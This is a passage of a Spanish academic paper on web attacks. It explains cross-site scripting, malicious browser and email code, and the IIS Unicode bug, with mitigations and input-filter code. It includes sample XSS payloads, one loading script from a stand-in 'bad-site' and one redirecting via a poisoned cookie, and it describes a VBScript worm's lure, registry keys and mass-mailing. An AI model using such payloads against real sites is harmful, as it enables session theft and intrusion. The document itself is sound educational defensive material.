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Resumen

Con el auge de Internet muchas organizaciones han incluido como parte de su arquitectura tecnológica la incorporación de sitios Web y el diseño de nuevos sistemas soportados en esta tecnología. El gran inconveniente que ha surgido durante esta labor, es el de ver comprometida su infraestructura corporativa, a causa del descuido o desconocimiento de un aspecto tan importante como es el de la seguridad, que los han hecho vulnerables a ataques a través de Internet.

En este documento se definen y analizan diferentes tipos de ataques Web, tales como: Ataque Unicode, Cross-Site Scripting, Código Malicioso y Ataques CGI. Además, se muestra un ejemplo práctico de uno de éstos ataques, como éste puede ser detectado, las vulnerabilidades que ocasionaron su éxito y las posibles formas de evitarlo.
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1 Introducción

Con el advenimiento de Internet, miles de personas han encontrado nuevas formas de hacer negocios, proveer información y servicios y mantener contacto con usuarios, proveedores,  socios de negocios, empleados y amigos. Pero con ésta capacidad de conexión, llegan nuevas amenazas: hackers maliciosos, criminales y espías buscando obtener ventajas de todo tipo de información que puedan capturar.  

No solo las empresas se enfrentan a éstas amenazas. También los usuarios caseros pueden ver sus bienes comprometidos si no toman las medidas de seguridad adecuadas.  Un ejemplo de éstos son las vulnerabilidades ocasionadas por Ataques Web. [10]

La mayoría de ataques a la Web se realizan sobre los puertos (80, 81, 443, 8000, 8001, 8010, 8080, etc.), que son los únicos puertos que están disponibles en el segmento de red de Internet. En muchos casos se pueden tomar medidas para reducir algunos riesgos, pero la mayoría de las vulnerabilidades están relacionadas con la calidad de la programación, la salida lógica de los programas y el control de flujo. [14]

Los ataques al Web no son más que diferentes tipos de ataques a Aplicaciones, clientes y Servidores en la Web. Sin importar cuan diversos sean los tipos de ataque, éstos tienen una característica en común, el uso del Http para realizar el ataque. A continuación se describirán diversos tipos de ataque al Web como son: Cross-Site Scripting, Código Malévolo, Unicode y Ataques CGI.

2 Ataques Web

Como se mencionó anteriormente, existen diversos tipos de ataques al Web, cuyo mecanismo se basa en el uso del Http.  Estos ataques se pueden clasificar en dos grupos: los ataques que hacen uso de "Código Malévolo" y los ataques de "Canonización". [14]

En el primer grupo, se encuentra el Cross-Site Scripting y el Código Malévolo; ataques cuyo objetivo es lograr vulnerar a los usuarios domésticos de Internet. Este tipo de agresiones requieren de una mentalidad un poco distinta de la que busca comprometer los servidores de Internet. Su diferencia radica en dos aspectos: esfuerzo y escala. En lugar de centrar el esfuerzo intelectual contra un único objetivo o una determinada aplicación de servidor Web, al hacer hacking de los usuarios se busca encontrar un denominador común entre las victimas en cuanto al uso de Internet y aplicaciones comunes. [10]

Los ataques de canonización se relacionan con la forma en que los sistemas convierten datos de un sistema a otro. Algo canónico es algo que se encuentra en su forma estándar. La canonización es el proceso de convertir algo en una forma de representación a la forma más simple posible. Las aplicaciones Web tienen que tratar con diversos aspectos de canonización como son la codificación URL y la traducción de direcciones IP. Los ataques del tipo de canonización son ataques a la seguridad de errores en el proceso de conversión. Un ejemplo de este tipo de ataques es el ataque Unicode. [14] [15]
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A continuación veremos las características de cada uno de éstos ataques.

2.1 Cross-Site Scripting. 

Las páginas Web, provenientes de un servidor Web, pueden contener además del texto, programas incorporados llamados Scripts.  Dichos Scripts son ejecutados en el servidor o en el cliente.  Los diseñadores de sitios Web utilizan este tipo de aplicaciones para realizar transacciones en línea, búsquedas dinámicas, navegaciones complejas, entre otras. 
En HTML, ciertos caracteres son considerados “especiales”, de forma que el servidor y los Browsers pueden diferenciar entre texto normal que se muestra en pantalla y elementos que proporcionan diferentes funcionalidades. Cross-Site Scripting es una vulnerabilidad que se aprovecha de la inserción de caracteres especiales en la comunicación cliente-servidor, de forma que introduce Scripts maliciosos. [1] [5]

Un sitio Web puede inadvertidamente incluir etiquetas HTML maliciosas o Scripts maliciosos en una página dinámicamente generada basada en entradas de fuentes no confiables. Esto puede ser un problema cuando un servidor Web no asegura que las páginas generadas estén adecuadamente codificadas para prevenir ejecución involuntaria de Scripts o que el HTML malicioso sea presentado al usuario.

La esencia del ataque consiste en que el Browser ejecutará el Script malicioso en el contexto de seguridad del sitio del cliente  más no del atacante. Una vez ejecutado el Script, éste tiene acceso a todo dentro del ambiente presuntamente seguro de las victimas. Como lo muestra la Figura 1, los comandos Scripts ocultos, son ejecutados dentro del contexto de seguridad entre el cliente y el servidor de correo, dándole al atacante acceso a las Cookies de la sesión.

Figura 1.  Ejemplo tomado de “AFITC 2001, Web Application Security” [29]
A este tipo de ataques se le da entonces el nombre de “cross-site” Scripting porque una fuente esta inyectando código dentro de las páginas enviadas por otra fuente.

2.1.1 ¿Cómo se realiza? 
Las víctimas de estos ataques, son sitios Web específicos y las personas que los visitan. Usualmente, sitios de comercio electrónico (ver Figura 2).

El atacante debe analizar en primera instancia el sitio víctima para desarrollar el Script malicioso y el método de insertarlo. Si el atacante está interesado en capturar o recibir información, como números de tarjetas de crédito, del Browser víctima, debe desarrollar los componentes receptores antes que el ataque. Para ello, implementa un programa que incluye dentro del Script malicioso, encargado de capturar la información deseada y enviarla de regreso al servidor del atacante. Un ejemplo de desarrollo de componentes receptores, se encuentra en el tutorial de Java, “Building an Application, Part 3: Receiving Input with Text Fields and Check Boxes, and Event Handling Basics” Enero del 2002,

Http://developer.java.sun.com/developer/onlineTraining/new2java/divelog/part3/index.jsp .

Figura 2.  Pasos seguidos por el atacante

Posteriormente, el atacante debe seducir a los usuarios Web para que interactúen con él a través de email o algún tipo de contenido interesante en una supuesta página Web inocente.  Cuando el Browser víctima interactúa con el sitio del atacante, el enlace redirige una parte (o toda) la solicitud del Browser a el sitio Web víctima y en el proceso introduce el Script malicioso, logrando así abrir un puerta.  Con ello, el Browser corre el Script de una fuente no confiable, como si proviniera de una confiable. [1]

De acuerdo con un informe publicado por CERT [5], existen muchas formas de generar Cross-Site Scripting.  Entre ellas están: 
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1. Códigos maliciosos proporcionados por un cliente a otro: en el cual un cliente incluye etiquetas HTML maliciosas en un mensaje dirigido a otro cliente, como en el siguiente ejemplo: 

Hello message board. This is a message.
<SCRIPT>malicious code</SCRIPT>
This is the end of my message.

Cuando una víctima con Scripts habilitados en su Browser lee este mensaje, el código malicioso se puede ejecutar inesperadamente, sin que muchas veces, la victima lo note. El tipo de etiquetas Script que pueden ser introducidas de esta forma incluyen: 

<SCRIPT>, <OBJECT>, <APPLET> y <EMBED>.

El desarrollador del sitio que permite conversaciones cliente–cliente mediadas por un servidor, reconoce explícitamente que la entrada de datos es poco confiable cuando se presenta a otros usuarios. Muchos servidores de grupos de discusión no aceptarán dichas entradas, o la codificaran y filtrarán antes de enviarla a otros lectores.

2. Código Malicioso enviado inadvertidamente por un usuario a sí mismo: esta situación se presenta cuando un cliente confía en una fuente no confiable de información al enviar una petición.  Por ejemplo, un atacante puede construir un enlace malicioso como: 

<A HREF= "Http://example.com/comment.cgi? mycomment=<SCRIPT>malicious code</SCRIPT>"> Click here</A> 

Cuando un usuario inocente accede a este enlace, el URL enviado a example.com incluye el código malicioso. Si el servidor Web envía una página de regreso al usuario incluyendo el valor de mycomment, el código malicioso puede ser ejecutado inesperadamente en el cliente.  Este ejemplo también aplica para enlaces no confiables seguidos en emails o grupos de noticias.

3. Abuso de etiquetas tipo <FORM>: además de las etiquetas de Script, otras etiquetas HTML como <FORM> tienen el potencial de ser aprovechadas por un atacante.  Por ejemplo, al incrustar etiquetas <FORM> maliciosas en el sitio adecuado, se puede modificar el comportamiento de un formulario existente y lograr engañar al usuario de forma que revele información sensible. Otras etiquetas HTML pueden aprovecharse para alterar la apariencia de la página, insertando imágenes o sonidos no deseados, o interfiriendo con la apariencia y comportamientos previstos de la página.

4. Abuso de Confianza: en el corazón de esta vulnerabilidad esta la violación a la confianza que resulta de un Script “inyectado” o de un HTML corriendo dentro del contexto de seguridad establecido por el sitio (example.com). Este es, presumiblemente, un sitio en el que el cliente está interesado lo suficiente como para visitarlo e interactuar con él de una manera confiable.  Adicionalmente, las políticas de seguridad del sitio legítimo del servidor (example.com) pueden también verse comprometidas.

El siguiente ejemplo muestra específicamente la implicación de dos sitios:

<A HREF= "Http://example.com/comment.cgi? mycomment=<SCRIPT SRC='Http://bad-site/badfile'> </SCRIPT>"> Click here</A> 

El atributo SRC en la etiqueta <SCRIPT> esta explícitamente incorporando código de una fuente supuestamente no autorizada (bad-site).  Los ejemplos observados muestran violaciones a las políticas básicas de muchos modelos de seguridad Script: 

- Netscape Communicator  Same Origin Policy, Http://developer.netscape.com/docs/manuals/communicator/jssec/contents.htm#1023448  

· Microsoft Scriptlet Security,

Http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dninstj/html/Scriptbasedsecurity.asp 

2.1.2 Impacto  

Los usuarios pueden ejecutar Scripts desapercibidamente escritos por un atacante, cuando siguen enlaces de procedencia dudosa o no conocidos, en páginas Web, E-mails o grupos de noticias. Los usuarios pueden también ejecutar inadvertidamente Scripts maliciosos cuando están viendo páginas generadas dinámicamente, basadas en contenido proporcionado por otros usuarios.
Puesto que el Script malicioso es ejecutado en un contexto que parece originarse en el sitio victima, el atacante tiene acceso completo al documento extraído (dependiendo de la tecnología usada por el atacante), y puede enviar los datos contenidos en la página de regreso a su sitio.  Por ejemplo un Script malicioso puede leer los campos de un formulario proporcionado por el servidor real y enviar estos datos al atacante.

De forma alternativa, el atacante puede introducir código Script que tenga interacciones adicionales con el servidor Web legítimo, sin alertar a la victima.  Por ejemplo, el atacante puede desarrollar un ataque que publique datos en una página diferente en el servidor Web legítimo.  Además, aún cuando el Web Browser de la victima no soporte o tenga deshabilitados los Scripts, un atacante puede alterar la apariencia de la página, modificar su comportamiento o interferir con su operación normal.

El impacto específico puede variar dependiendo del lenguaje seleccionado por el atacante y de la configuración de las páginas originales involucradas por el atacante.  

Algunos posibles impactos son: [5]

1. Exposición de conexiones SSL-encriptadas: en este caso, el Script malicioso se introduce antes de que la conexión SSL encriptada sea establecida entre el cliente y el servidor legitimo.  Los datos encriptados enviados en dicha conexión, incluyen el código malicioso, que es pasado en ambas direcciones. Puesto que se cree que el cliente y el servidor están comunicados sin falsificación, SSL no intenta validar la legitimidad de los datos transmitidos.

Como es un diálogo legítimo entre el cliente y el servidor, SSL no reporta problemas.  El código malicioso que intenta conectarse a un URL que no tenga SSL, puede generar un mensaje de alerta acerca de la conexión no segura, pero el atacante puede evitar esta alerta corriendo simplemente un servidor Web capaz de manejar SSL.

2.  Ataques persistentes a través de Cookies envenenadas: una vez que el código malicioso es insertado dentro de un dominio y es ejecutado como si proviniera del sitio Web fuente, las Cookies de dicho dominio pueden ser leídas y alteradas.  Específicamente, si el sitio Web vulnerable usa un campo de una Cookie en la generación dinámica de páginas, la Cookie puede ser modificada de forma que se le inserta código malicioso.  Esto implica que futuras visitas al sitio Web afectado (aún de enlaces confiables), sean comprometidas cuando el sitio llame a la Cookie y muestre una página basada en el campo contenido en el código.

Por ejemplo, en los casos en que páginas Web permiten al usuario seleccionar algunas preferencias, como el color del tapiz, que en HTML es codificado en una forma similar a: [30]

<BODY BGCOLOR="blue">
Este código HTML puede ser generado dinámicamente por una página Script del servidor como:

<% Response.Write("<BODY BGCOLOR=\"" + 
Request.Cookies("UserColor") + "\">"); %>

Pero al remplazar esta cookie, se puede lograr una salida de la siguiente forma:

<body BGCOLOR="" onload='window.
location="http://www.evil.com";'">
Que lleva al usuario directamente a otro sitio Web.

La cookie es invisible al usuario, puesto que viaja en las cabeceras http y nunca aparece en la página Web. La cabecera http para este ejemplo es:

Cookie: %22+onload%3D%27window%2Elocation%3D 
%22http%3A%2F%2Fwww%2Eevil%2Ecom%22%3B%27
3.  Posibilidad para el atacante de acceder a sitios Web restringidos del cliente: al construir un URL malicioso, un atacante puede ser capaz de ejecutar código Script en la máquina del cliente que expone datos de un servidor vulnerable dentro de la Intranet del cliente.  El atacante puede ganar acceso Web no autorizado en un servidor Web de la Intranet, si el cliente comprometido tiene en memoria la autenticación hacia el servidor víctima.  Es decir, un atacante necesita únicamente identificar un servidor Intranet vulnerable y convencer al usuario de visitar una página supuestamente inocente para exponer datos potencialmente sensibles del servidor de Intranet.

4.  Posible violación de políticas de seguridad basadas en dominio: si las políticas que se configuran para el web Browser permiten la ejecución de lenguajes Scripts desde algunos hosts o dominios e impiden este acceso a otros, éstas pueden ser violadas por algunos atacantes. Esto puede efectuarse insertando Scripts maliciosos en una solicitud enviada a un servidor con permisos para ejecutar Scripts, ya que, el atacante puede ganar los privilegios necesarios para realizar su ataque. Por ejemplo, las zonas de seguridad configuradas en el Internet Explorer pueden ser derribadas con ésta técnica.

5.  Riesgos adicionales por el uso de conjuntos de caracteres poco comunes: los Browsers interpretan la información que reciben de acuerdo con el conjunto de caracteres escogido por el usuario, si dicho conjunto de caracteres no es especificado por el sitio Web donde se encuentra la página que el usuario esta tratando de acceder, se deja abierta la posibilidad que éste utilice un conjunto de caracteres a su riesgo (aún cuando se codifiquen o filtren caracteres con significado especial en la ISO-8859-1).

6.  Alteración del comportamiento de un Formulario: bajo ciertas condiciones, un atacante puede ser capaz de modificar el comportamiento de un formulario, incluyendo como se envían los resultados.

2.1.3 Solución para los Usuarios  A continuación se enunciarán  algunos métodos que pueden seguir los usuarios, los programadores y los administradores de los sitios Web, para disminuir la vulnerabilidad a estos ataques. 

Ninguna de las soluciones que los usuarios de Web puedan tomar, son soluciones completas. Al final, depende de los desarrolladores de páginas Web el modificarlas y eliminar este tipo de problemas.

Sin embargo los usuarios de Web tienen dos opciones básicas para reducir el riesgo de ser infectados por ésta vulnerabilidad. La primera, consiste en deshabilitar los lenguajes de Script en el Browser, proporcionando la mayor protección, pero teniendo el efecto colateral para muchos usuarios de deshabilitar una funcionalidad que es importante para ellos.  Se debe seleccionar esta opción cuando se desea el nivel más bajo de riesgo.

Se debe aclarar que el hecho de deshabilitar los Scripts en el Browser no evita que los atacantes puedan influenciar la apariencia del contenido proporcionado por el sitio Web legítimo, al incrustar otras etiquetas HTML en el URL. El uso malicioso de la etiqueta <FORM> en particular, no se previene con esta solución.

La segunda solución, consiste en ser selectivos acerca de la forma como se visitan los sitios Web, de forma que se mantenga relativamente baja la posibilidad de una exposición, mientras que se permiten todas las funcionalidades del Browser. Escribir la dirección directamente en el Browser o utilizando Bookmarks de sitios conocidos, disminuye los riesgos de exponerse a esta vulnerabilidad. 

Los usuarios deben tener presente que el enlace a sitios poco importantes pueden exponer otros sistemas locales en la red, si el sistema del cliente reside detrás del Firewall, o si el cliente tiene credenciales para acceder otros servidores Web como por ejemplo, de una Intranet. Se debe entender por lo tanto, que se está aceptando más riesgo al seleccionar esta opción, pero que su elección se realiza con el fin de preservar la funcionalidad que es importante para los propios usuarios.

2.1.4 Soluciones para los desarrolladores de páginas Web y para los Administradores del Sitio  Los administradores y los desarrolladores pueden prevenir que sus sitios sean abusados por esta vulnerabilidad, al no confiar en los datos del cliente y al seguir procesos que aseguren que las páginas dinámicamente generadas no contengan etiquetas indeseadas o entradas no confiables.  Las entradas no confiables pueden provenir de parámetros URL, Cookies, preguntas a bases de datos, entre otros. Se deben seguir un conjunto de pasos para mitigar ésta vulnerabilidad, entre los cuales están [30]:
1.  Selección explicita de la codificación de los caracteres usados en cada página generada por el servidor Web: muchas páginas Web dejan la codificación de caracteres (parámetro “charset” en Http) indefinida. Si no se especifica dicha codificación, el servidor Web toma el parámetro por defecto, que por ejemplo, para HTML versión 4, se especificó que cualquier codificación de caracteres puede ser usada.  En este caso, el servidor Web no puede decir cuales caracteres son especiales, permitiendo de esta forma que ataques con Scripts maliciosos sean más difíciles de prevenir. Un ejemplo de selección explicita de caracteres es:

<HTML>

<HEAD>

<META Http-equiv="Content-Type"

content="text/html; charset=ISO-8859-1">

<TITLE>HTML SAMPLE</TITLE>

</HEAD>

<BODY>

<P>This is a sample HTML page

</BODY>

</HTML>

En donde la etiqueta META obliga a la página a utilizar el conjunto de caracteres codificados ISO-8859-1.

2.  Identificación de caracteres especiales: la especificación HTML determina cuales caracteres son “especiales”, porque tienen un efecto en la forma como la página es mostrada.  Sin embargo, muchos Web Browsers tratan de corregir errores comunes en HTML.  Como resultado, algunas veces tratan ciertos caracteres como especiales cuando, de acuerdo con la especificación, no lo son.  Adicionalmente, el conjunto de caracteres especiales depende del contexto. Los desarrolladores Web deben entonces examinar sus aplicaciones y determinar cuales caracteres pueden afectar sus aplicaciones Web.

3.  Codificación dinámica de los elementos de salida: cada caracter en la especificación ISO-8859-1 puede ser codificado usando su calor numérico. Por ejemplo, para utilizar la marca de “copyright” en un documento HTML se puede usar:

<p>&#169 2000 Some Co., Inc.

El caracter de copyright es 169 y usando la sintaxis &#, le permite al autor insertar el caracter codificado que será interpretado por el Browser.  Adicionalmente, muchos caracteres ISO-8859-1 incluyen una codificación del nombre de la entidad, que para el ejemplo anterior sería:

<p>&copy; 2000 Some Co., Inc.

La codificación de datos no confiables tiene beneficios sobre el filtrado de los mismos, incluyendo la preservación de la apariencia visual en el Browser.  Esto es importante cuando los caracteres especiales son considerados aceptables. 

Desafortunadamente, la codificación de datos no confiables puede consumir muchos recursos.  Los desarrolladores Web deben balancear las opciones de codificación con la de filtrado. 

4.  Filtrado de caracteres específicos en elementos dinámicos: desafortunadamente, no es claro cuando hay caracteres o combinaciones de caracteres que puedan ser usados para exponer vulnerabilidades. El método recomendado es seleccionar el conjunto de caracteres que se conoce que es seguro, más que excluir aquel que se cree puede ser inseguro.  Por ejemplo, un elemento de un formulario que esta esperando la edad de una persona, puede ser limitado al conjunto de dígitos del 0 al 9, reduciendo de esta forma la capacidad de explotar otras vulnerabilidades aún no conocidas.

El proceso de filtrado puede ser realizado como parte del proceso de entrada y/o de salida de datos. Filtrar los datos durante el proceso de salida, asegura que todo el contenido dinámico sea filtrado.  El filtrado en la entrada es menos efectivo porque se puede ingresar contenido dinámico en las bases de datos del sitio Web por métodos distintos a http. En este caso el servidor Web puede no ver los datos como parte del proceso de entrada.  A menos que el filtrado sea implementado en todos los sitios que en se ingresen datos dinámicos, los datos pueden ser manipulados.  Una buena práctica de filtrado en la entrada, consiste en remover todos los caracteres malos o que pueden insertar código de los datos de entrada, como < > “ ‘ % ; ) ( & y +.  

Un ejemplo de función de filtrado que quita ciertos caracteres de una entrada genérica es (en C++) [30]:

BYTE IsBadChar[] = {

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0x00,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

};

DWORD FilterBuffer(BYTE * pString, DWORD cChLen)

{


BYTE * pBad  = pString;


BYTE * pGood = pString;


DWORD i=0;


if (!pString) return 0;


for (i=0;pBad[i];i++)

{

if (!IsBadChar[pBad[i]])

 

*pGood++ = pBad[i];


};



return pGood-pString;

}

Cuyo equivalente escrito en JavaScript es:

function RemoveBad(InStr){

    InStr = InStr.replace(/\</g,"");

    InStr = InStr.replace(/\>/g,"");

    InStr = InStr.replace(/\"/g,"");

    InStr = InStr.replace(/\'/g,"");

    InStr = InStr.replace(/\%/g,"");

    InStr = InStr.replace(/\;/g,"");

    InStr = InStr.replace(/\(/g,"");

    InStr = InStr.replace(/\)/g,"");

    InStr = InStr.replace(/\&/g,"");

    InStr = InStr.replace(/\+/g,"");

    return InStr;

}

Y en Perl:

#! La primera función toma la aproximación negativa. 

#! Use una lista de caracteres malos para filtrar los datos 

sub FilterNeg {

    local( $fd ) = @_;

    $fd =~ s/[\<\>\"\'\%\;\)\(\&\+]//g;

    return( $fd ) ;

}

#! La segunda función toma la aproximación positiva. 

#! Use una lista de caracteres buenos para filtrar los datos 

sub FilterPos {

    local( $fd ) = @_;

    $fd =~ tr/A-Za-z0-9\ //dc;

    return( $fd ) ;

}

$Data = "This is a test string<Script>";

$Data = &FilterNeg( $Data );

print "$Data\n";

$Data = "This is a test string<Script>";

$Data = &FilterPos( $Data );

print "$Data\n";

5.  Examen de Cookies: una forma de explotar ésta vulnerabilidad incluye la inserción de contenido malicioso en un Cookie.  El desarrollador Web debería examinar cuidadosamente las Cookies que acepta y usar las técnicas de filtrado para verificar que no incluyen contenido malicioso. 

Finalmente, algunos productos para servidores Web incluyen por defecto, páginas dinámicamente generadas en la instalación. Aún cuando el sitio del desarrollador no incluya páginas dinámicas desarrolladas localmente, el servidor Web puede ser vulnerado. Por ejemplo, el servidor puede incluir etiquetas maliciosas en la página “404 Not Found” generada por su servidor Web. Por esto los administradores deben aplicar los parches sugeridos por el fabricante para evitar éstos problemas.

2.1.5 Cómo recuperarse de un Ataque de Cross-Site Scripting  En el caso de un Script persistente, o en el momento que un usuario cree que esta siendo atacado por un Script malicioso, debería cerrar el Browser con el que esta siendo atacado y reiniciar uno nuevo en sitio Web conocido, con el fin de borrar todos los archivos de Cookies del computador.  
Se debe tener en cuenta que aunque información capturada durante el ataque no es posible de recuperar, se puede realizar una predicción de daños de acuerdo con el tipo de información y tomar las medidas adecuadas con las entidades correspondientes, para evitarlos. 

2.2 Código Malicioso

El código móvil involucra la descarga y ejecución de código desde un sitio Web hasta la máquina de un usuario a través de la Red. Es posible que este código lleve acabo ataques a la seguridad en la máquina del usuario. [10]

Los usuarios por lo general, saben que los programas que descargan y ejecutan del Web, pueden contener virus o diferentes formas de código malicioso, pero cuando acceden a páginas Web (algo que sucede frecuentemente) esperan poder leer con toda tranquilidad la información publicada por extraños o competidores. La navegación por páginas Web es considerada una actividad de bajo riesgo.

Los programas applet de Java, Active X, JavaScript y VbScript permiten a los desarrolladores para Internet crear páginas Web interactivas, dinámicas y más funcionales. Estos son pequeños programas portables que se insertan en las páginas HTML y pueden correr automáticamente al abrirlas. Sin embargo los Hackers, creadores de virus y cualquiera que quiera causar daño pueden utilizar el código móvil malicioso de estos programas como medio para atacar un sistema. En la mayoría de los casos, el Web Browser puede configurarse cambiando las opciones de seguridad a una de propiedad “alta” y así no permitir la ejecución del código sin una consciente decisión por parte del usuario. [4] [5] [10]

2.2.1 Código malicioso en el Browser  

Un desarrollador malicioso puede incrustar un Script en una solicitud cualquiera que haga un envío a un sitio Web (ver figura 3.); como por ejemplo: Un URL, un elemento en un formulario o una consulta a base de datos. Cuando el sitio Web responde, el Script malicioso viene con la respuesta hasta el Browser del cliente. [4] 
Existen varias formas en las que potencialmente se puede exponer el Browser del cliente a Scripts maliciosos:

· Accediendo a hipervínculos o enlaces no confiables a páginas Web, E-mails o publicaciones de grupos de noticias.

· Haciendo uso de formularios en sitios no conocidos.

· Navegando en páginas generadas dinámicamente cuyo código busca más mostrar funcionalidad que seguridad.

2.2.1.1 Consecuencias Entre las posibilidades que pueden suceder si código malicioso es ejecutado desde el Browser están:

Captura de la contraseña y otro tipo de información que se considera protegida. Adicionalmente, los Scripts maliciosos pueden ser usados para exponer áreas restringidas de la red local de la empresa a atacantes en Internet haciendo uso del funcionamiento del código para realizar dicha tarea.

Una vez que el código malicioso llega al Browser del cliente, se pueden infectar las Cookies. Cuando una Cookie infectada es enviada de regreso al sitio Web vulnerable, esté puede devolvérsela al Browser y el código malicioso se ejecutaría de nuevo. 
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Figura 3.  Funcionamiento del Código Malicioso en el Browser

2.2.1.2 Solución Ya que el Cross-Site Scripting hace uso del código malicioso, las soluciones antes mencionadas (en el módulo de Cross-Site Scripting)  pueden ser usadas para tratar éste tipo de ataque. [4]

Otra solución es hacer uso de filtros sobre el contenido de las páginas Web. Como se mencionó anteriormente, el deshabilitar los lenguajes Script en los Browsers no siempre es una solución efectiva ya que haciendo uso de etiquetas HTML con algunos comandos se pueden ejecutar Scripts. Se recomienda el uso de filtros que busquen  coincidencia con palabras como VbScript, JavaScript, Eval, Expresión, @import y Script y las modifique por otras palabras, ocultándole al Browser las sentencias conocidas de ejecución de código.  [29]
2.2.2 Código malicioso en el Correo Electrónico El código malicioso no solo se encuentra en páginas Web sino también vía E-mail. Este código puede infectar un sistema si el archivo adjunto contiene código malicioso, el cual es ejecutado. Los actuales programas de correo permiten manejar mensajes en formato HTML que lleven incluido código auto ejecutable y potencialmente peligroso. Ese código se ejecuta automáticamente al abrir el mensaje (o simplemente con seleccionarlo, si se encuentra activa                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               la VISTA PREVIA), con lo que el usuario se encuentra gravemente expuesto a ser infectado por un virus o sufrir cualquier otro ataque.
Un ejemplo de este ataque se puede implementar haciendo uso de código escrito en VbScript. Cuando el código malicioso se ejecuta, éste trata de enviar copias de si mismo haciendo uso del Microsoft Outlook a todas las entradas de la libreta de direcciones. El mail que se envía presenta las siguientes características:

SUBJECT: "There is a present waiting for you!!" 

BODY:

Hi:

Check This!

ATTACHMENT: "girls.jpg.vbs" 

Muchas veces los usuarios que reciben una copia del código malicioso a través de su E-mail, posiblemente reconozcan al emisor (sender), debido a esto, se recomienda no ejecutar ningún tipo de código VbScript recibido a través de este medio, aún si el emisor es conocido, sin antemano verificar el origen del código o identificar si este posee una firma digital valida.

Es posible despistar a los usuarios ya que los archivos adjuntos maliciosos pueden aparecer sin extensión .vbs, ya que, en la mayoría de sistemas Windows, la propiedad "Ocultar tipos de archivos conocidos" se encuentra deshabilitada. 

2.2.2.1 Descripción Lo que sucede cuando se ejecuta el código malicioso en VbScript u otros lenguajes de este tipo, es que éste trata de modificar el registro creando llaves como la siguiente:

HKEY_CURRENT_USER\Software\OnTheFly="Worm made with Vbswg 1.50b" 

Luego, colocan copias de sí mismos en el directorio de Windows.

C:\WINDOWS\girls.jpg.vbs 

Finalmente, el código malicioso tratará de enviar mensajes infectados por separado a cada uno de los recipientes en la libreta de direcciones de Windows. Una vez que el correo electrónico ha sido enviado, el código malicioso crea una entrada en el registro para prevenir que no se hagan más envíos del código malicioso.

HKEY_CURRENT_USER\Software\OnTheFly\mailed=1 

La instrucción anterior se hace para evitar que se congestione el sistema de correo y que los correos electrónicos infectados no puedan salir. En muchas ocasiones el ataque puede ser relativamente inofensivo, pero el código puede ser modificado para generar ataques mucho más destructivos.

2.2.2.2 Solución Dos posibles soluciones para estos tipos de ataques son:

· Actualizar con frecuencia los programas antivirus.

· Establecer políticas de filtraje de los correos haciendo uso de "Títulos" conocidos o de "Archivos Adjuntos" confiables.

· Mantener la operatividad de los mensajes formateados en HTML, pero inhabilitando la funcionalidad adicional de ejecutar código, ya que el correo electrónico puede funcionar perfectamente sin necesidad de tener activa esta opción.

2.3 Ataques a la Codificación Unicode.  
Este ataque comúnmente conocido como “Unicode  Hack” nació en Octubre del año 2000 cuando un visitante anónimo publicó en un foro de un sitio Web de tópicos de seguridad llamado www.packetstorm.org que, a través de una URL especifica, había ejecutado comandos DIR sobre directorios de un sitio Web. A partir de este momento comenzó a ser explotado en un sin fin de servidores alrededor de todo el mundo este “bug” o “security hole” que posteriormente fue llamado “Web Server Folder Transversal Vulnerability” e identificado por Microsoft en su Boletín de Seguridad No. MS00-078. En este boletín Microsoft expresó que usuarios maliciosos podían acceder a carpetas y archivos residentes en el drive lógico contenedor de los directorios Web de las máquinas utilizadas como servidores Http, corriendo Internet Information Server, pudiendo causar graves daños en las mismas. 

En meses anteriores, en su boletín MS00-057 Microsoft había anunciado la existencia de una vulnerabilidad llamada “File Permission Canonicalization” a través de la cual se podían obtener altos niveles de acceso a ciertos tipos de archivos, pero,  a raíz del descubrimiento de la nueva técnica que permitía explotar esta vulnerabilidad de forma mucho mas peligrosa y el auge que tomaron losa ataques de este tipo, Microsoft se vio en la obligación de actuar con mayor rapidez en la búsqueda de soluciones. Fue así como a finales de ese mismo año fue liberado un parche para corregir este bug en IIS 4.0.

Desafortunadamente para Microsoft y sus clientes el bug Unicode reapareció en abril del 2001, cuando el grupo de seguridad de NSFOCUS (Network Security Focus) lo detectó en unas pruebas sobre la nueva versión de IIS 5.0. Esto obligó una vez mas a Microsoft a tomar acciones correctivas, las cuales fueron publicadas en mayo de ese mismo año bajo el boletín de seguridad MS01-026.

Estas vulnerabilidades ampliamente conocidas hoy en día, han representado desde entonces un gran atractivo para los navegantes “inquietos” de la red que, explotando esta vulnerabilidad, han provocado graves incidentes en redes de importantes empresas como Microsoft o Compaq a través de sus sitios Web.

